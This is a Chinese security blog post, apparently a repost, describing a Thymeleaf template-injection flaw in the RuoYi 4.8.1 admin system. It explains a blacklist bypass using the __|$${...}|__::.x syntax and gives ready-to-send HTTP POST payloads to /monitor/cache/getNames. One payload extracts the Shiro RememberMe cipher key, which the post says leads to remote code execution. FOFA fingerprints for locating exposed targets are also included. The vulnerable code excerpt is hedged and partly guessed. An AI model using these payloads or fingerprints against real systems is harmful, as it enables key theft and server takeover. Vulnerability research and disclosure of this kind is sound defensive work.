文章总结: 若依RuoYi4.8.1版本存在严重Thymeleaf模板注入SSTI漏洞,位于CacheController的getNames接口,攻击者可通过__|$${…}|__::.x格式绕过黑名单限制,获取Shiro框架RememberMe加密密钥,进而结合Shiro反序列化漏洞实现远程代码执行,文章提供了漏洞复现POC和FOFA指纹,建议立即升级至官方最新安全版本。 综合评分: 85 文章分类: 漏洞分析,漏洞POC,WEB安全,渗透测试,代码审计
若依RuoYi 4.8.1存在SSTI漏洞复现,一键获取Shiro密钥
原创
m3x1
梦醒安全
2025年12月15日 08:01 湖北
免责声明:本公众号内容仅用于知识分享和学习,由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号梦醒安全及作者不为此承担任何责任,一旦造成后果请自行承担!
PART.01
前言
若依(RuoYi)后台管理系统在4.8.1版本中存在的一个严重Thymeleaf模板注入漏洞。利用此漏洞,攻击者可以获取Shiro框架的RememberMe加密密钥,进而结合Shiro反序列化漏洞实现远程代码执行,最终完全控制服务器。
PART.02
介绍
若依(RuoYi)是一套基于Spring Boot + Shiro + Thymeleaf的快速开发平台,广泛应用于企业后台管理系统。在最新版本4.8.1中,存在一个严重的 Thymeleaf模板注入(SSTI)漏洞 。
该漏洞位于 CacheController.java 控制器的 /monitor/cache/getNames 接口, fragment 参数未对用户输入进行充分过滤。尽管新版增加了黑名单机制拦截危险操作,但攻击者可通过特定格式 __|$${...}|__::.x 绕过限制,实现任意代码执行。
通过此SSTI漏洞,攻击者可获取Shiro框架的RememberMe加密密钥,进而利用Shiro反序列化漏洞实现远程代码执行(RCE),完全控制受影响服务器。
PART.03
漏洞原因及利用原理
根本原因:未受控的 fragment 参数直接传入模板解析器
这是漏洞的入口点。在 CacheController 的 getNames 方法中,存在如下关键代码:
@GetMapping("/getNames")
public String getNames(@RequestParam String fragment, ModelMap mmap) {
// ... 其他业务逻辑 ...
return prefix + "/cache/" + fragment;
}
或者更直接的版本,可能调用了类似于 return fragment; 的表达式视图解析。
关键问题:
- 攻击者完全可控的
fragment参数,被直接拼接到视图路径(return语句)中,或直接作为视图名称返回。 - 在Spring MVC配置中,如果视图解析器配置为
ThymeleafViewResolver,并且当返回的字符串不包含显式的重定向或转发前缀(如redirect:或forward:)时,Spring会将其视为一个Thymeleaf模板文件名去解析。 - 但这里的
fragment参数并不是一个合法的模板文件路径,而是一段Thymeleaf表达式。
poc各部分的含义和作用
__| ... |__ – Thymeleaf预处理表达式
-
这是Thymeleaf的预处理表达式语法
-
__|表示开始一个预处理表达式块
-
|__表示结束预处理表达式块
-
在预处理表达式中,多个表达式可以用
|分隔
$${...} – Thymeleaf表达式
-
$${...}在Thymeleaf中是变量表达式
-
在预处理上下文中,
$${expression}会被求值 -
注意
:这里使用了两个
$符号,这是绕过黑名单的关键!
::.x – 片段选择器
-
::是Thymeleaf的片段选择器语法
-
.x表示选择名为
x的片段(实际不存在,但格式需要)
绕过技巧
-
双重
$符号绕过:
$${而不是${
- 黑名单可能只检查
${,而忽略了$${ - 但在Thymeleaf中,
$${expression}和${expression}在功能上通常是等效的
-
预处理表达式语法
:
__|...|__
- 黑名单可能没有检查这种复杂的预处理表达式语法
- Thymeleaf在处理时会先解析预处理表达式
-
URL编码进一步混淆
: 攻击者发送的实际请求可能经过URL编码
PART.04
漏洞复现
POST /monitor/cache/getNames HTTP/1.1
Host: xxx
Cookie: JSESSIONID=928b655c-941d-4b73-a770-773291704eda
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
fragment=__|$${#response.getWriter().print(123)}|__::.x
获取Shiro框架的RememberMe加密密钥
fragment=__|$${#response.getWriter().print(@securityManager.getClass().forName('java.util.Base64').getMethod('getEncoder').invoke(null).encodeToString(@securityManager.rememberMeManager.cipherKey))}|__::.x
PART.05
FOFA指纹
((icon_hash="706913071" || icon_hash="-1231872293"))
PART.06
修复建议
立即升级
- 升级至官方最新安全版本
- 关注官方GitHub发布的安全更新:https://gitee.com/y_project/RuoYi
PART.07
往期推荐
往期好文
告别复杂命令!用AI聊天完成渗透测试
QQ高危漏洞(QVD-2025-45847)复现,速查你的版本!
【漏洞复现】React(next.js)远程代码执行漏洞(CVE-2025-55182)
一款Next.jsRCE漏洞检测工具,这款Chrome扩展让Next.js App Router无处遁形
记一次js加密逆向练习,靶场wp详解
潜伏13年!CVSS 评分高达 10.0!Redis高危RCE漏洞(CVE-2025-49844)复现
新一代威胁情报平台:从”知敌”到”先敌”的进化
查看原文:《若依RuoYi 4.8.1存在SSTI漏洞复现,一键获取Shiro密钥》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论